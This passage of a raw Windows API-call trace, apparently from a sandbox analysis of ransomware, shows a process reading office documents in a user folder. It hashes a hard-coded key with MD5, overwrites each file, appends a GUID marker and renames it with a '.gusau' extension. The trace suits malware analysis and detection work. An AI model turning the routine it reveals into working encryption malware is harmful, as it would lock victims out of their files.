CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.965] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.965] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.965] GetLastError () returned 0x0 [0118.965] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.965] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.965] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x630) returned 0x39f4ef8 [0118.965] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.965] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0x629, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0x629, lpOverlapped=0x0) returned 1 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.965] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x62e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.965] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.965] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.965] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.965] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.965] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.965] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.966] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.966] CloseHandle (hObject=0x610) returned 1 [0118.966] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.966] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.966] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\ieaOD_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\ieaod_.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\ieaOD_.odt.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\ieaod_.odt.gusau")) returned 1 [0118.967] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.967] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.968] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeee16c0, ftCreationTime.dwHighDateTime=0x1d4c7f4, ftLastAccessTime.dwLowDateTime=0x5751e7c0, ftLastAccessTime.dwHighDateTime=0x1d4cfdb, ftLastWriteTime.dwLowDateTime=0x5751e7c0, ftLastWriteTime.dwHighDateTime=0x1d4cfdb, nFileSizeHigh=0x0, nFileSizeLow=0x13967, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kLhp.docx", cAlternateFileName="KLHP~1.DOC")) returned 1 [0118.968] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.968] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.968] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\kLhp.docx") returned=".docx" [0118.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\kLhp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\klhp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.968] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=80231) returned 1 [0118.968] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.970] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13941, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.970] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.972] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.972] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.972] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.972] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13967, lpOverlapped=0x0) returned 1 [0118.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.973] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.973] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.973] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.974] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.974] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.974] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.974] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.974] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.974] GetLastError () returned 0x0 [0118.974] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.974] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.974] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.974] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13970) returned 0x39f9f20 [0118.974] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.975] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x13962, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x13962, lpOverlapped=0x0) returned 1 [0118.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.975] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.975] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.975] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.975] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.975] CloseHandle (hObject=0x610) returned 1 [0118.976] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.976] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.976] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.976] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\kLhp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\klhp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\kLhp.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\klhp.docx.gusau")) returned 1 [0118.977] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.977] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.978] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.978] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c3d860, ftCreationTime.dwHighDateTime=0x1d4ca29, ftLastAccessTime.dwLowDateTime=0x1e9ee0f0, ftLastAccessTime.dwHighDateTime=0x1d4d4a8, ftLastWriteTime.dwLowDateTime=0x1e9ee0f0, ftLastWriteTime.dwHighDateTime=0x1d4d4a8, nFileSizeHigh=0x0, nFileSizeLow=0x18129, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M85S8 e0deSz1O2lZp.xls", cAlternateFileName="M85S8E~1.XLS")) returned 1 [0118.978] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.978] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.978] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.978] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\M85S8 e0deSz1O2lZp.xls") returned=".xls" [0118.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\M85S8 e0deSz1O2lZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\m85s8 e0desz1o2lzp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.979] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=98601) returned 1 [0118.979] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.981] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18103, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.981] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.983] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.983] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.983] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.983] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18129, lpOverlapped=0x0) returned 1 [0118.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.984] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.984] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.985] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.985] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.985] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.985] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.985] GetLastError () returned 0x0 [0118.985] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.985] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.985] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18130) returned 0x39f9f20 [0118.985] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.985] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.985] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x18124, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x18124, lpOverlapped=0x0) returned 1 [0118.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.986] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18129, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.986] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.986] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.986] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.986] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.986] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.986] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.986] CloseHandle (hObject=0x610) returned 1 [0118.987] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.988] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0118.988] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\M85S8 e0deSz1O2lZp.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\m85s8 e0desz1o2lzp.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\M85S8 e0deSz1O2lZp.xls.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\m85s8 e0desz1o2lzp.xls.gusau")) returned 1 [0118.988] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.988] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.989] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.989] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2218540, ftCreationTime.dwHighDateTime=0x1d4d304, ftLastAccessTime.dwLowDateTime=0x5a014360, ftLastAccessTime.dwHighDateTime=0x1d4d217, ftLastWriteTime.dwLowDateTime=0x5a014360, ftLastWriteTime.dwHighDateTime=0x1d4d217, nFileSizeHigh=0x0, nFileSizeLow=0xaa12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pbZLWA2gHx6B.ods", cAlternateFileName="PBZLWA~1.ODS")) returned 1 [0118.989] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.989] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.989] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.989] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\pbZLWA2gHx6B.ods") returned=".ods" [0118.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\pbZLWA2gHx6B.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\pbzlwa2ghx6b.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.990] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=43538) returned 1 [0118.990] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.992] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa9ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.992] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.993] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.994] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.994] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.994] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xaa12, lpOverlapped=0x0) returned 1 [0118.994] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.994] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.994] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.994] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.995] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.995] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.995] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.995] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.995] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.995] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.995] GetLastError () returned 0x0 [0118.995] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.996] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.996] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xaa10) returned 0x39f9f20 [0118.996] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.996] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xaa0d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xaa0d, lpOverlapped=0x0) returned 1 [0118.996] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.996] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xaa12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.996] 